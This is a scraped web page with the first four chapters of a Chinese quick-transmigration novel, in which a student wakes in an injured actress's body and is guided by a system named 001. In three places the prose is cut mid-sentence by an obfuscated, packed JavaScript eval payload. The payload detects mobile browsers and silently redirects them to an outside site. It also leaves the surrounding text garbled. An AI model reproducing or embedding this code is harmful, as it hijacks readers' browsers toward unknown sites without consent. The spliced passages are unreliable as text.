《系统也会开出神智吗[快穿]》 1. 世界一(1) “咚、咚、咚。” 颇有节奏感的敲门声响起,喊醒了正趴在工位上小憩的男人。那人理了理压平的头发,又拉正身上的白衣黑裤,迈着修长的双腿打开门。 “001,这是你接下来需要对接的宿主。”送资料的同事把手里的牛皮袋递过去,“里面是档案,你先了解下大致信息。” “好。辛苦。” 叫001的男人微微点头,将档案接在手里。他关上门,边往回走边翻看资料。 “苏……昙。” “女,22岁,单身。” “计算机系应届毕业生。” “无不良嗜好,无远大志向,无人生规划。” “符合咸鱼路人挑选标准。” 大致扫完,001把资料放好,准备再休息一会。昨天晚上,他刚刚送走了一位事精的主,这几天都没怎么睡。 不料刚刚重新趴下,门再次被推开。不用抬头,只听动静,001就知道是自己对面工位的,一头红色卷发,混血长相的同事,131。 “你每次进来动静能小点吗?”001捏着眉心道。 131听出他疲惫的声音,惊讶地睁大了眼:“你这是,连轴转了?” “嗯。” 131识趣地闭上嘴,转眼看到001桌子上的资料,又忍不住吐槽:“主神怎么都不心疼你?这就立马又给你安排上了。” “嘘。” 得。131知道,他再说下去,说不定躺着的人就要换成他了。 * 午后的308宿舍灯光昏暗,阳台的窗帘拉得密不透风。 苏昙躺在床上昏昏欲睡,隐约在耳边听到一句古老而悠远的呼唤,很快又消散在窗外的雷电暴雨中。 这样的环境,总有种别样的平静感,是催人入睡的良药。 “——轰隆!” 又一声滚雷炸响,将正在深睡的苏昙激了个清醒,身体猛地一挣,冒着满头虚汗张开了眼。 “雨虹,你醒了?!” 苏昙盯着白色天花板聚了聚焦,眼前的景象清晰起来后,才扭头看向说话的人。 “真的醒了!”床边站着一个上了年纪的陌生女人,她激动道,“先等下,我去叫医生。” 苏昙一时间没缓过来,她又闭上眼揉揉太阳穴,回想道:“……我不是在宿舍睡觉吗?” 难道梦还没醒? 她环视周围,看着像是个病房,VIP豪华单间的那种。窗外阴沉沉的,还下着暴雨。 苏昙低头掀开被子,发现身上穿的竟然是蓝白相间的条纹病服。她这是怎么了?不会是鬼压床了吧? 懵神间,那个陌生女人带着医生回来了。 苏昙警惕地往旁边挪了半个床,皱眉注视着闯进房间的两个陌生人。 “怎么了雨虹?”女人柔声说道,“你昏迷了好几天终于醒了,医生来看看有没有问题,配合一下。” 苏昙依旧没有动。 她迟疑地看着女人:“你到底是谁?” “你的经纪人啊,菁姐。”女人面露愁容,转身对一旁的医生道,“这也是后遗症吗?多久才能恢复记忆?她还有好几个通告没跑,新剧也快进组了,不能再耽误了。” 白大褂摊开手里的诊治记录,翻看后说道:“因为苏雨虹车祸中撞到了头部,醒来后出现短暂性失忆属于正常现象,如果实在不放心,可以再留院观察几天,彻底恢复了再走也行。” 说着,他走到床边,拿起挂在脖上的听诊器,捂热了轻轻贴在苏昙胸口听了一会。 “嗯……身体应该没什么问题了,恢复得不错。”他重新回到菁姐身边,“你跟我出来一下吧,我把出院后的注意事项给你说说。” “没问题!”菁姐赶紧跟着医生出去了。 苏昙:“……?” 所以她到底在哪啊!有没有人来告诉她一下? 她混乱地左瞧右看,在枕边找到了一部手机。 苏昙点开屏幕,面部识别自动解锁,丝滑地进了主界面。看来是她的手机。 ……不对,应该是这具身体的! 苏昙飞快打开前置相机,一张苍白而不失美丽的脸出现在相框——一张完全陌生的脸。 好诡异。好吓人。 苏昙狠狠地掐了一把大腿。 好疼。 应该不是在做梦。 可她明明就是在睡觉啊! 苏昙感觉自己的左右脑要开始互博了。在脑海里千奇百怪的想法把自己吓死之前,苏昙重新打开手机,试图从这里找到有关这具身体蛛丝马迹的信息。 她打开微信,看到身体原主的置顶联系人有两个。一个昵称叫妈妈,另一个则是一只小船的图标。 苏昙点进叫“船”的那个人的聊天界面,却是一片空白,原主将记录都清空了。 她退出去继续往下翻,看到了好多叫“xx总”和“演员xx”的聊天框。难道原主的身份是艺人? 而且听刚才那个医生和菁姐的话,原主是出了车祸才被送过来的,结果她却稀里糊涂地进到了人家的身体里。那原主去哪了?这又是哪?她该怎么回去? 苏昙心里越来越害怕。 “雨虹,你现在饿不饿?” 菁姐推开门进来,关切道。 “那个什么……菁姐,你可能认错人了,我叫苏昙,是个大学生,不是什么雨虹。我先走了。”苏昙掀开被子,想要离开这里。 无论如何,不能在这待了,指不定还要发生什么匪夷所思的事。 哪知她不容置疑被菁姐死死按在床上:“别担心,医生都说了没事。你刚醒过来,大脑没恢复过来很正常。这样,你在医院再休息一天,我现在去给你买点饭吃,明天去办出院手续。千万别乱跑啊!” 说完,菁姐又匆匆离开了房间,出去买饭了。 苏昙万分焦急,拿起手机一连打了好几个电话,都是她的家人和朋友的。 然而,出了长长的忙音“嘟”声,再无下文。 “完了。”她心里涌起一阵不祥的预感,“我不会猝死了吧。” 这时,她识海里毫无预兆响起一个有些低沉的声音。 “你好。” 苏昙冷不丁被吓一大跳,试探着回道:“……你好?” 可过了半天,那个声音也没再出现。 尽管理智告诉她这种离谱的事不可能发生在新时代社会主义国家,但苏昙不得不向现实低头,至少现在,她不知道该怎么回去。 用好一会儿时间消化完这个让人绝望的离谱事实,她开始尝试弄清楚现状。 如果原主是个明星,出车祸这么大的事,肯定会上娱乐新闻的吧。 苏昙打开百度,头条新闻就是“知名女星路遇车祸,至今仍在医院”。她生出预感点了进去,果然是一个名叫“苏雨虹”的明星。不出意外,应该就是现在还躺在床上的自己。 一通翻下来,苏昙大概了解了原主此前的主要经历: 四年前,苏雨虹在经纪公司凭借一部爱情古装电视剧《梅香》爆红,但因资质尚浅,一直被公司压榨价值,一直不温不火。 好在苏雨虹很快成长起来,凭借自身过硬的业务能力,终于在两年前摆脱了恶心的经纪公司,开始了自己的事业,创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256900|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立了自己的工作室。自那时起,菁姐就作为经纪人一直跟在她身边。 后面两年,苏雨虹又先后拍了悬疑剧《雨夜》,古装轻喜剧《桃花灼灼》等,均获得不少好的反响。 用营销号的话来说,就是“在污糟的环境中经历过太多不公,好在轻舟已过万重山。苏雨虹未来可期!” 结果,现如今原主遭遇车祸,网上又再次掀起一阵风雨。曾经对苏雨虹满口夸赞的营销号翻脸不认人,为了博流量,什么臆想都能写出来。 苏昙轻轻叹了口气,有些敬佩这具身体的原主。身处这样的圈子,想摆烂都还要先看一看路人的眼色,稍有不慎就会落得万人唾骂。换做自己,估计早都要跑路。 ……对啊!反正原主现在不在,她大可以跑路! 苏昙从房间的衣柜里拿出原主的便服,换上后若无其事地走出房间。 路过值班前台,她余光中注意到几个小护士在盯着自己看。 苏昙心中默念“人生没有那么多观众”,放松地继续前进。 眼看要走到电梯口,身后传来一声呼唤:“那个女士,如果要出去请在值班台先签字!” 似是怕她听不清,小护士又喊道:“苏雨虹女士!” 苏昙任命地转身回去:“……好的。” 签就签吧,能走就行。她拿起圆珠笔,指着单子:“签这就行?” 小护士:“是的。” “雨虹?” 菁姐的声音突然出现在苏昙身边。苏昙反应了几秒,意识到她喊的是自己,抬头应道。 “你要出去?先回来先回来。”菁姐赶忙把苏昙拉回房间,“连口罩都不戴,你出去是等着被拍吗?下次要出去先给我说一声,让我心里有个数。” 菁姐把手里的饭盒放到桌子上,说道:“你先吃着,我还有事给你说。” 苏昙此刻快要碎掉,看来这饭她不吃也得吃,这话不听也要听了。 “是这样,你这段时间不是在养伤嘛,本来谈好的新剧和代言就停了。本来说的要换女主角,好在我和那边导演又商量了一下,对方很欣赏你,答应重新用你。”菁姐补充道,“其他的代言我可以帮你推掉,但新剧必须要去,好不容易来的机会,一定不能浪费。” “……”苏昙不仅没了吃饭的胃口,身上更是有如雷劈——她现在是大明星苏雨虹,不是那个每天躺在宿舍摸鱼的大学生! 她欲哭无泪:“我根本不是苏雨虹啊……” 菁姐面露些许愁容:“看来还得再多歇两天。没事,距离进组还有一个多月,这段时间,你就好好安心调养身体,其他的交给我来沟通。” 苏昙张张嘴,还想拒绝,不料刚刚识海里的声音再次响起,不容质疑:“答应下来。” 碍于不清楚那个神秘的声音到底想要干什么,苏昙犹豫半天,最后硬着头皮接下了菁姐早就打印好的剧本,准备一会再找那个声音问清楚。 临走前,菁姐想到了什么,指了指手机,“哦对了,粉丝们一直很担心你,记得在微博上报个平安!” 苏昙比了个OK的手势,强颜欢笑着把她送了出去。 房间里猛地安静下来,那些被压在心里的情绪一股脑全涌了上来。 先是连一声解释通知都没有,就被送到这个无亲无友的陌生世界;又要顶着别人的身份,背上重担去工作,做不好还可能会招来谩骂和讥讽;更不知道这一切因何发生……为什么偏偏是她? “喂!你出来!”苏昙声音里带着被戏弄的怒意,还有一丝难以察觉的恐惧。 “我在。” 这一次声音很快出现,没有玩消失。 2. 世界一(2) 一个有些低沉而清冷的男声在苏昙耳边响起,但眼前仍旧什么都没有出现。 她轻捏染上丝丝痒意的耳垂,理智慢慢回笼,心情平复下来。 “你到底是谁?还有,这究竟是怎么回事?” 那个声音很快给出回答:“苏昙你好,我是子系统001。简单来说,你已被挑选进入咸鱼路人改造系统成为宿主,只有完成所有任务才能回到原来的世界。” 子系统短短一句话包含了太多信息,苏昙有点发懵。 “为什么是我?”她问。 “无不良嗜好,无远大志向,无人生规划。符合咸鱼路人挑选标准。” “不是,你们是不是有病啊?”苏昙胸腔的火气顿时蹭蹭往上涨,“我活得好好的,就因为是个什么‘三无人员’,所以必须成为宿主?那我问你,你们有营业许可证吗?有注册公司吗?有持股人控股人吗?” “……” 她嗤道:“什么都没有还敢出来招摇撞骗。” “我们主神规定是这样的。”001依旧没什么感情道,“不过,宿主在成功过完三个里世界后,可以对主神提出三个愿望。但必须和离开无关。” 苏昙还是难以接受:“你,子系统,001,专门负责我?” “是的。” “那我一共要过几个世界?” “说不准。曾经有人过了六个世界。” “他最后回去了吗?” “他死了。” 苏昙突然有种进入诈骗传销组织的错觉:“我怎么觉得,这就是我的结局?” 001:“别灰心,你还是有很大机会的。” 苏昙:“这是诈骗!”信你才怪! “那什么……001。”她觉得叫代号真的太中二。谁起的名。 “宿主还有什么疑问?” “你说的任务是什么,完成的标准又是什么?” “十分抱歉,咸鱼系统的规定是需要你自己去发现,我不能告诉你。” 得,等于没问。苏昙又一次在心里对这个狗屁系统翻了个白眼,耐着性子继续提问。 “那我还有其他选择吗?” 系统没了声。 良久,声音再次响起,却似乎变得更加冷淡疏离:“有。” “宿主可以选择留在任意一个世界,但要做好承担一切后果的准备。” 说完最后一句,系统彻底消失,无论苏昙怎么喊他,都是一片寂静。 001走后,她脑袋里就变得乱糟糟的,一会是害怕要承担后果怎么办,一会担心新剧要不要接,一会又循环播放001临走时的“魔音”,乱得马上快要爆炸。 晚上,苏昙好不容易迷迷糊糊地睡过去,又在梦里梦到001化身丑陋邪恶的魔鬼,将她逼在狭小的角落,威胁她必须完成任务,如果到头来还是咸鱼一条,那就只好杀了她,作为咸鱼的代价。 “不要!” 苏昙一身冷汗惊醒,猛地直起身,抹了一把眼睛,带走一手泪。 霎时间,压抑的情绪挣脱控制,在无边的黑暗和孤独中把她紧紧包围,她喘不过气来,只能一个劲地无声哭泣。 第二天菁姐过来,看到自家老板又红又肿的眼睛,吓了一大跳。 “好家伙,你昨晚没休息好吗?” 苏昙后半夜压根不敢合眼,哪会睡得好。她勉强扯起嘴角随便编了个理由:“没事儿,就是熬了会夜,下午补补觉就行了。” “那你吃早饭了吗?”菁姐问道。 “还没。” “一猜就是。刚才我看快中午了,就顺手在外面买了粥和包子,你认真吃完,千万别浪费了。毕竟身体刚恢复,得注意点。” 菁姐把手里的饭递过去,语重心长道。 “先放一边吧,我现在没什么胃口。” 苏昙说完,才意识到,这好像是这几年第一次觉得吃不下饭。在家里,有她爸爸林远这个大厨变着花样做菜;在学校,她也能挖掘出附近的美食。她爱吃,也会吃。 但现在,她提不起一点食欲。 苏昙突然觉得好委屈,又不知道能对谁倾诉。 她起身拿上手机,戴好口罩,在病床边换好鞋。 “菁姐,如果没什么事的话,我出去走走,你不用跟着。” “……啊?”菁姐愣了一会,惊喜道,“你、你想起我是谁了?” “嗯。”苏昙语气很淡。她换好鞋,推开门道,“我先走了。” “好,路上注意安全,别让私生拍到!” 菁姐脸上的喜悦还没退去,立刻掏出手机,开始重新规划行程。 苏昙在病房楼附近里晃了半天,连医院正门都没摸到。她的耐心逐渐告罄,直接开始导航。 放大的地图上每个地名都和苏昙记忆中的不一样。地图上的地方只属于这个世界。她跟着指示又走了五分钟,终于绕出了医院。 苏昙站在路边,盯着app内的搜索栏,还是不死心地输入了她在现实世界的家庭住址——育华路紫林景苑。 没想到,竟然真的有搜索结果! 结果显示,目的地距离这里只有五千米的距离。苏昙心跳加快,打消了坐公交车环游全市的念头,直接打车前往那里。 一路上,她忍不住期待,又怕期待落空,心情转为不安和忐忑。 到了紫林景苑,苏昙数着楼号,一栋一栋找到她家对应的二单元一楼东户,在透过阳台看到里面的布局时,希望彻底破灭了。 ——那不是她的家,就是一个恰好重名的小区。 也是,这里的房子从外观来看就和她家的不一样,怎么会是她要找的地方。 苏昙喉间泛起苦涩,看着那个正在给阳台上的花花草草浇水的阿姨,应该比她妈妈还大上几岁。 她自嘲地摇摇头,准备离开去坐公交。 “哎,雨虹!”突然有人喊住她。是那个浇花的阿姨。 苏昙停下脚步,疑惑地看着她阿姨……她们认识吗? 阿姨笑容满面地放下水壶,很快转身出了阳台,似是要来她身边。 紧接着,寒暄的声音从楼道间传出来。 “诶?田霞,这么高兴是要去哪?” “我女儿回来了!我出去接一下她!” “你闺女不是个大忙人么,怎么这个点回家?” “谁说忙就不能回家了?”叫田霞的中年女人满不在乎道,“我女儿想什么时候回来就什么时候来!” 苏昙听着这对话,下一秒,便看到一个女人从楼道里出来。 田霞腰上还系着围裙,上面满是经常做饭沾上的油渍,洗净之后还是留下了淡淡的痕迹。 她快步走上前,一把将怔神的苏昙揽进怀里。 “妈妈快想死你了……让我好好抱抱,看看瘦了没有。” 距离猛地拉近,苏昙猝不及防嗅到了她身上的洗衣粉味道,像是薰衣草的味道,和她妈妈用的那个牌子的香味很像。 苏昙站在原地,任凭田霞抚摸她的脑袋,在亲切的味道中湿了眼眶。 她想家了。却被困在了这个世界。 “宝贝怎么哭了。” 田霞听到隐隐的啜泣声,松开了怀里的人,开玩笑道:“就这么想妈妈吗?走,回家,我给你做好吃的。” “不……” “不行吗?”田霞有些紧张,“你这次回来,不住几天再走吗?妈妈知道你工作忙,但总要有休息的时间吧,不然身体吃不消的。” 拒绝的话已经到了嘴边,苏昙却在看到田霞落寞的眼神后,没出息地点了点头,跟着她回了家。 田霞住的地方和苏雨虹租的房子不太一样,这里到处都是生活的气息。客厅的墙壁上挂了很多原主和田霞的合照,还有几张泛黄的油画装饰,看起来有几年了。 餐厅的桌子上摆着各种零食和保健品,有的已经开封,而有的还没动过。 田霞看到苏昙在注视桌子上的一堆东西,说道:“你送的吃的用的太多了,我根本解决不完,剩下来了。下次就别买这么多了,像今天就行,只要你能回来,比买什么东西都强!” 苏昙没有回答,她一点也不熟悉这个地方。 “你先坐着玩会手机,我去做饭,马上好。” 田霞钻进厨房洗手准备。 “……我帮您吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256901|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏昙走了进来。毕竟吃人家的饭,不能没有一点贡献。 “好啊!”田霞笑道。 “现在做什么?” “先帮我把洋葱切了,蒜剥了,再把蒜拍碎,一会做料汁用。” “好。” 苏昙做起来轻车熟路,之前在家就经常给林远搭把手,断断续续学着会做不少菜。 厨房里,抽油烟机的声音低沉着哄哄作响,田霞麻利地开始和面、料理饺子馅。 “今天中午吃饺子,行不行?”她问。 “都行。”苏昙没什么意见,没有抬头,继续手上的动作。 田霞敏锐地注意到自己女儿的状态不对,随口道:“心情不好啊?” 苏昙刚想坦白她是从医院出来的,根本不是这个世界的人,扭头却看到田霞的状态不像是知道原主出了车祸,估计苏雨虹也不想告诉田霞,怕她担心。 她沉默几秒,又改口道:“……没什么,就是有点害怕。” “害怕什么?” “害怕……再也回不去了。” “怎么会!”田霞轻松道,“我女儿那么优秀,天生就是当演员的料,娱乐圈少了谁都不能少了你!” 苏昙无奈地笑了笑,没再解释,只道:“嗯。” 田霞看着她,语气放得小心了些:“当年你刚大一,突然给我说要换专业去学表演,虽然你一直没告诉过我为什么,但我知道,你一直是个很有想法的人,想得到什么就一定会努力去争取,所以我不反对你进娱乐圈。” “虽然我不关注什么明星的事,但妈妈能感觉到,这十年你吃了不少苦,受了不少伤,真的很不容易。哪怕接不到戏,你也从不抱怨消极,到现在我总能在各种代言上、电视剧里看见你,就证明天道酬勤是有它的道理的。” “如果你还不想放弃,如果你实在有什么排解不了的,可以给妈妈讲一讲,不要担心我听不懂,倾诉出来才是最重要的,千万别憋在心里。” 田霞认真地看着苏昙。 苏昙淤堵的胸口似被破开了个小洞,那些恐惧、惊慌、压力、不安接二连三地跑了出来,她依旧觉得憋闷,但总算能喘息了。 “我现在……身处一个困境里,”她轻轻吐出一口气,缓缓说道,“我不知道到底要听谁的、该怎么做、做多少,我发现周围没有一个可以依靠的人,我想逃避,却不知道该躲到哪里,好像在哪里,都能被人找到。这样的感觉……太煎熬了。” 田霞神情微动,把手掌心粘着的面团搓掉,走到苏昙身边。 “雨虹。记住,无论发生什么,你都可以毫无顾虑地回家,妈妈说过,会一直陪着你,也是你的依靠。就算是大人又能怎么样,谁都会有脆弱的时候,想躲就躲,有时候不一定非要像英雄那样什么事都冲到前面,义无反顾地站出来。” “那如果我做的决定会让苏雨虹失去很多,您知道后,会恨我吗?” “你说什么啊,”田霞笑道,“你就是苏雨虹啊,我最心疼的女儿,怎么会恨你,我想多爱你还来不及呢。再说,我还不了解你的性子,任何事一旦做了决定就不会再后悔,你要对自己自信点。” “可是……”苏昙还想继续寻找一个确定的答案。 然而,田霞打断了她的话:“没什么好可是的,最差不就是你失业了,没钱了,被人骂被人黑,再差还能差到哪去,天底下又不是只有当演员这一条路能走!” “……这洋葱怎么这么呛。” 苏昙抹了一把眼睛,擦掉了眼泪,岔开了田霞的话。 田霞看破不说破,笑着转身继续处理面团:“下次不买这一家的了,把我女儿熏哭了都!” 苏昙终于感觉轻松了一些,心里反而没那么抗拒了。 至少目前看来,情况还不算绝望吧。她还有路可以走,有选择可以做。 “妈……”她换了合适的称呼,对田霞说道,“我出去打个电话。” “去吧去吧。” 苏昙走到阳台上,看着五颜六色的花草,拨通了菁姐的电话。 “喂,菁姐。”她轻轻拨弄着手底的一朵橘粉色月季花,“帮我办出院吧,今天回去。” 3. 世界一(3) 在田霞家里吃过热腾腾的饺子,苏昙的心境也被熨得开阔了。 难道她被系统选中就说明她真的是条咸鱼吗! 她……还真是。 虽然她答应菁姐恢复工作,但她可没说做多少干多少。光是一个新剧就能把她累得够呛,其他的广告代言,能推就全推掉了。 原主所在的小区,安保措施严格,保密性极强,就算私生混了进来,也得绕上几个来回。 苏昙跟着菁姐回到了苏雨虹租的房子,把从医院带回来的脏衣服扔进洗衣机,瘫在沙发上掏出了手机,习惯性地滑动屏幕寻找某站,准备刷会视频。 菁姐看到此景,突然想到什么,说道:“你是不是还没发微博,我怎么没看到啊。” “啊……忘了。” 苏昙悻悻地打开微博。 点进苏雨虹的主页,她往下翻看几条,留意到原主先前写的文案风格都很简短。 很快,一条微博出现在千万粉丝的主页——“一切安好,谢谢大家的关心。” 几乎同一时间,这条微博下面的评论便飞速增加。 [老婆你终于回来了呜呜呜好想你……] [我猜的没错,宝宝今天终于出现了啊啊啊啊!] [老婆没事就好,我们等你!] [啊啊啊为什么老婆就算病了怎么还是这么美啊啊啊] [宝宝千万别急着工作,身体最重要!!!我们等你!] [……] 苏昙没见过这种场面,饶有兴趣地看了一会评论。 “对了,我把新剧的拍摄计划打印出来了,你可以和剧本放到一起。”菁姐在一旁说道,“剧本你看过没,有没有觉得哪不合适的地方?趁着还没开拍,我尽量和导演编剧沟通沟通。” 苏昙滑动屏幕的手指顿住。她怎么把这事给忘了。 “还没看完,等我看完了再给你说吧。”她淡定道。 菁姐:“也行。” 苏昙把手边的包拽过来,一眼看到里面崭新的剧本:“那个,我再确定一下,近期除了进组拍戏,应该没别的通告了吧?” “按你的要求,都推了。”菁姐眼里尽是可惜,“多好的赚钱机会,你不是从不嫌钱少么,怎么会任这些钱打水漂?” “累。” 苏昙言简意赅道。 菁姐只以为她是身体还没恢复,点头表示理解。 “那要是没什么事的话,我就先走了,你趁这十天好好休息。” “十天?十天后进组?”苏昙有点裂开了。 菁姐:“对啊。怎么,你是嫌时间太长吗?可惜不能再往前提了,十天已经是我争取的最早的时间,肯定符合你的意愿。” 苏昙:“……” 苏雨虹究竟是有多热爱演戏啊…… * 虚空之境。 001交接完其他工作,大步穿过长走廊,朝工作间的方向走去。 走廊尽头,站着一个狼尾发型的少年,眼神淡淡,短暂在001身上停留片刻,又阖上眼皮。 001并没有把注意力分出太多,轻车熟路拐了个弯,走进左手边的一个房间。 “回来了?这次的新人怎么样?有希望吗?” 打招呼的是131。 不过,看到对面脸上略显凝重的神色,他便清楚这次估计又是没戏了。 001抬起长腿绕过他,坐在自己的工位上,顺便倒了杯水,反问道:“你有希望?” 131脸色变了变,“嗤”了一声,一把抢走001手里的水杯:“喝什么喝,你有那么渴吗。” 001见怪不怪,又把杯子抢了回来。 131两手空空地想了想,正色道:“话说,虽然主神不让我们提供帮助,但你要是真想,主神也不能怎么样……只要不被祂发现,肯定没问题。而且你还是最早的一批子系统之一,祂怎么也得给你几分面子。” 001眸色暗淡下来,良久才说:“很多人都是过完一两个世界就会选择永远呆在那里,就算有我们帮助,也不愿意冒这份危险,出这份力。更多的,甚至连第一个世界都过不去。” 这下轮到两人一起沉默。 过了一会儿,001腕间的手环开始频繁闪烁,想必是宿主遇到了什么事,在喊他的名字。 “我先走了。” 话落,一个高挑的身影眨眼间消失在虚空之境。 * 菁姐离开后,苏昙坐在床边,开始认真翻看剧本。然而,看了没几页,她心里越来越没底。 一想到十天过后自己就要被同事完虐,肯定会露馅,苏昙就愁得头秃。 思索间,一个人名像救星蹦进她的脑海。 确切来说,是个系统名。苏昙把那晚他在她梦里凶神恶煞的模样赶出脑海,先安慰了自己一会。反正又没见过他,说不定是个比她矮还比她丑的人呢,有什么好怕的。 苏昙想着,喊道:“001?在吗?001?” 一个熟悉的男声很快出现:“怎么了?” “我需要你的帮助。”苏昙开门见山。 见对方一直没作出回答,正当她准备放弃,另寻办法时,听到001突然开口。 “……好。” 苏昙眼睛一下子亮起来,问道:“真的吗?” “先告诉我,你的事情是什么。” “你前两天不是让我接下了一部剧的拍摄?我不知道你是处于什么目的,”苏昙解释,“但我根本不行,只会搞砸原主的工作。” 子系统停了半响,淡道:“没问题,我可以帮你” 话落,他强调道:“——但不是现在。” 苏昙选择性听到他的前一句话,终于感到悬着的心落回胸腔,连001的声音听着都多了几分实感。 “那就好。” 看到宿主再次摆烂地躺到床上刷起手机,001摇摇头,微不可察地轻叹一声,默默离开。 苏昙并未察觉到识海里有人消失,仍全神贯注地盯着手机。 手机里在播放某站某知名up主的一个剪辑视频,视频的主角正是这具身体的主人——苏雨虹。 三年前,苏雨虹因电视剧《梅香》爆红,眼前的短视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256902|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这部剧的幕后花絮剪辑。 视频里苏雨虹身着红衣利于战场,手执长剑挽出漂亮剑花,毫不留情地斩杀一个又一个敌人,眼神中尽是毫无掩饰的狠色和欲望。苏雨虹不厌其烦地按照导演要求,一遍又一遍干脆利落地做出标准武术动作。 下一个视频,是苏雨虹前年的悬疑剧《雨夜》拍摄花絮。视频里,一辆面包车在雨夜中呼啸而来,径直冲向站在马路中央的女主,苏雨虹。 这是……苏昙凑近观察。这竟然不是替身! 仅仅是分秒之间,面包车把控着极为精妙的角度,擦着苏雨虹的大腿飞驰而去,带来的冲击力把苏雨虹推倒在地。 苏昙的心好像被狠狠揪了一下。真人去演,这的确有更逼真的视觉效果,但同时没有经验也更危险,就看演员要如何选择。 一连串幕后记录视频看完,苏昙隐约明白了为何粉丝们会这么支持信任她。 合上手机,苏昙拿起一直搁在旁边的新剧剧本。 新剧的名字叫《黑暗之下》,主要围绕着女主角祁素的成长故事展开。 故事里,祁素是一个刚刚入职的女警察。 她违背父母的建议,在高考结束后,决定追寻自己的梦想,毅然决然考入警校。 一开始,她对警察行业充满着无限向往和憧憬,心中充满了伸张正义的热血。然而,在她参与调查了一系列的案件之后,发现这一行业并不像自己想象中的那样理想。面对重重压力与迷茫,她在一次次挫折和抉择中,经受住了考验,最终成为了一名合格优秀的人民警察。 在资料最后,苏昙看到男主的演员是沈光。看着这个有些眼熟的名字,她突然记起,原主之前和这个人是一个经纪公司,两人也常常出现在狗仔拍到的绯闻照片里。 只不过,自苏雨虹独立出来之后,就没再被拍到过她和沈光同时出现。 另一个演员则是个圈里有名的老戏骨,叫宋沙,在剧里饰演的是祁素的警察师父郝局。他在祁素刚进局里的时候提供了很多帮助,算是对祁素三观影响比较大的角色。 这部剧的导演也是有名的郑导,曾有多部电影、电视剧获得国家金奖,口碑都很好。他的名字,在整个影视圈无疑是影片质量的保证。 能够参演这部剧,对于那些想要立下口碑的演员来说,是个不可多得的好机会,比如苏雨虹。 她刚刚和公司解约两年,正是需要在圈子里立足脚跟,拿出作品的时候。况且合作的对象是经验丰富的老演员,既可以锻炼自己,又可以增加圈里人脉,再不济也会有一些知名度。不论怎样,都有利于自己未来的发展。 这也是菁姐不容她拒绝,坚持要她参加的原因。 苏昙发觉,故事里的女主角祁素就好像平行时空的苏雨虹,哪怕身处黑暗,经历过迷茫和否定,还依旧热爱自己的事业,甘愿为之付出心血和努力,只为实现心中理想。 这样想来,苏雨虹会选择这部剧,不单只是为了和戏骨合作,更是有她想要向观众表达的想法和情感在里面。 说实话,如果能亲眼见到原主,苏昙还挺想和她认识一下。 4. 世界一(4) 因为《黑暗之下》这部戏计划较早,导演也主打一个好剧多磨,所以苏昙手中已经有详细的剧本。 在演技上,她是没信心胜任,但她可以尽力熟悉剧情,进入角色……锻炼身体——苏昙低头撩起衣摆,看了看自己的身材——准确来说是原主的。 上镜是足够了,但不够紧实,离剧本里身为女警的祁素那充满力量感的肌肉线条仍有差距。 苏昙心中叫苦,却也只能乖乖开始为角色准备。剩下的,就听天由命了。 …… 最近,菁姐发现苏雨虹有些不太一样。 在医院的时候,老板病恹恹的,就差把“我不想工作”写在脸上。 但这两天,她早上过来送资料时,总会在楼下遇到晨跑的老板,有时嘴里还嘟嘟囔囔的,听着像是台词对话。 今天也是如此。 “菁姐,你来了。” 苏昙刚跑完就看见经纪人,她擦擦汗,同菁姐一起走进屋。 “嗯,我看你最近恢复的可以,身体没有什么不舒服吧?” “我挺好的,放心吧菁姐。” 送走经纪人,苏昙打开平板,一边吃饭,一边看苏雨虹之前演过的影视剧和电影。 因为时间跨度有些长,苏昙优先看了自《梅香》之后的那些。 不得不说,尽管有些剧情是些脑残狗血的爱恨情仇,但有原主越来越成熟的演技加持,倒也能让人沉浸其中。 吃完饭,她又搜索了宋沙和郑导的影视作品,准备晚上再研究。趁着下午的时间,苏昙抱着剧本,坐在阳台的安神椅上念念有词。 看着台词纸上做满荧光的标记,苏昙恍惚回到了高三那年每天勤学苦读的时光,虽然辛苦,但心中很踏实。 不管最后结果如何,至少那段时间,她没留下遗憾,也从未有过后悔。 午后明媚的阳光照在身上,暖得苏昙身上懒洋洋的,不知不觉打起小盹。 她不知道,在她的识海深处,常常有一个身影默默地看着她。 很快,进组的日子将近。 * 虚空之境里的裂缝之隙,是那些已死去的原主的灵魂的容身之所。 这座高楼耸立在虚空之境边界,宛若一座摩登大酒店,整日都是灯火通明。 房间里,001和一个容貌出众的女子对面而坐,只是那名女子的身体呈半透明,明显不是正常人。 “你来找我,有什么事吗?” 女人微动双唇,脸上并没有什么表情。 “苏小姐,我想同你商量一件事。” “如果是要我去帮宿主,就不用开口了,我不答应。” 001顿了顿,还是道:“我想请你在两日后的新戏拍摄时,暗中附回到你的身体里,帮她拍戏。到时候,我会帮你躲过主神,重回身体。” 